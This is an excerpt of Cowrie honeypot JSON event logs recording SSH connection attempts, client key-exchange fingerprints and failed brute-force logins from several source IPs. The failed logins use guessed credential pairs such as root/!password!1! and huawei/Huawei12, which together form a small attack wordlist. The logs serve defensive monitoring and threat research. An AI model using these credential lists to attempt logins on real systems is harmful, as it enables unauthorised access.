enssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:09.930053Z","src_ip":"165.154.137.186","session":"6c31b498c0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:10.723458Z","src_ip":"165.154.137.186","session":"6c31b498c0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:11.982335Z","src_ip":"165.154.137.186","session":"6c31b498c0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39580,"dst_ip":"10.17.0.5","dst_port":22,"session":"a27662afbc84","protocol":"ssh","message":"New connection: 27.71.230.31:39580 (10.17.0.5:22) [session: a27662afbc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:15.544031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:15.559505Z","src_ip":"27.71.230.31","session":"a27662afbc84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42530,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3844c3a8f31","protocol":"ssh","message":"New connection: 165.154.137.186:42530 (10.17.0.5:22) [session: f3844c3a8f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:15.963329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:15.968444Z","src_ip":"165.154.137.186","session":"f3844c3a8f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:16.228490Z","src_ip":"165.154.137.186","session":"f3844c3a8f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":32994,"dst_ip":"10.17.0.5","dst_port":22,"session":"44eb4873af98","protocol":"ssh","message":"New connection: 43.153.12.68:32994 (10.17.0.5:22) [session: 44eb4873af98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:16.575944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:16.580755Z","src_ip":"43.153.12.68","session":"44eb4873af98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:16.657610Z","src_ip":"43.153.12.68","session":"44eb4873af98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:16.963361Z","src_ip":"43.153.12.68","session":"44eb4873af98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:16.989545Z","src_ip":"27.71.230.31","session":"a27662afbc84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:16.996983Z","src_ip":"165.154.137.186","session":"f3844c3a8f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:18.038912Z","src_ip":"43.153.12.68","session":"44eb4873af98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:18.249124Z","src_ip":"165.154.137.186","session":"f3844c3a8f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!password!1!","message":"login attempt [root/!password!1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:18.471046Z","src_ip":"27.71.230.31","session":"a27662afbc84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:19.958335Z","src_ip":"27.71.230.31","session":"a27662afbc84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57684,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcef34a977b1","protocol":"telnet","message":"New connection: 172.81.62.90:57684 (159.203.135.109:23) [session: fcef34a977b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:20.415399Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":59052,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd07a081b874","protocol":"ssh","message":"New connection: 165.154.137.186:59052 (10.17.0.5:22) [session: cd07a081b874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:22.593803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:22.598148Z","src_ip":"165.154.137.186","session":"cd07a081b874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:22.844881Z","src_ip":"165.154.137.186","session":"cd07a081b874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:23.659780Z","src_ip":"165.154.137.186","session":"cd07a081b874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:24.909825Z","src_ip":"165.154.137.186","session":"cd07a081b874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":55742,"dst_ip":"10.17.0.5","dst_port":22,"session":"c26339b61002","protocol":"ssh","message":"New connection: 170.80.65.140:55742 (10.17.0.5:22) [session: c26339b61002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:26.226662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:26.232730Z","src_ip":"170.80.65.140","session":"c26339b61002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:26.356247Z","src_ip":"170.80.65.140","session":"c26339b61002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@a123456789","message":"login attempt [root/@a123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:26.881368Z","src_ip":"170.80.65.140","session":"c26339b61002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:28.007878Z","src_ip":"170.80.65.140","session":"c26339b61002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38952,"dst_ip":"10.17.0.5","dst_port":22,"session":"96d10db8e657","protocol":"ssh","message":"New connection: 165.154.137.186:38952 (10.17.0.5:22) [session: 96d10db8e657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:37.868037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:37.872748Z","src_ip":"165.154.137.186","session":"96d10db8e657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:38.132895Z","src_ip":"165.154.137.186","session":"96d10db8e657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38964,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda267dbfb9a","protocol":"ssh","message":"New connection: 165.154.137.186:38964 (10.17.0.5:22) [session: eda267dbfb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:38.729413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:38.797473Z","src_ip":"165.154.137.186","session":"eda267dbfb9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:38.983424Z","src_ip":"165.154.137.186","session":"eda267dbfb9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:39.064472Z","src_ip":"165.154.137.186","session":"96d10db8e657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:39.976671Z","src_ip":"165.154.137.186","session":"eda267dbfb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:40.325539Z","src_ip":"165.154.137.186","session":"96d10db8e657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:41.287677Z","src_ip":"165.154.137.186","session":"eda267dbfb9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":55654,"dst_ip":"10.17.0.5","dst_port":22,"session":"80f227d48f6d","protocol":"ssh","message":"New connection: 38.148.249.2:55654 (10.17.0.5:22) [session: 80f227d48f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:41.718333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:41.724021Z","src_ip":"38.148.249.2","session":"80f227d48f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:41.792951Z","src_ip":"38.148.249.2","session":"80f227d48f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"helpdesk","password":"helpdesk","message":"login attempt [helpdesk/helpdesk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:42.111371Z","src_ip":"38.148.249.2","session":"80f227d48f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:40:43.184896Z","src_ip":"38.148.249.2","session":"80f227d48f6d","protocol":"ssh"}
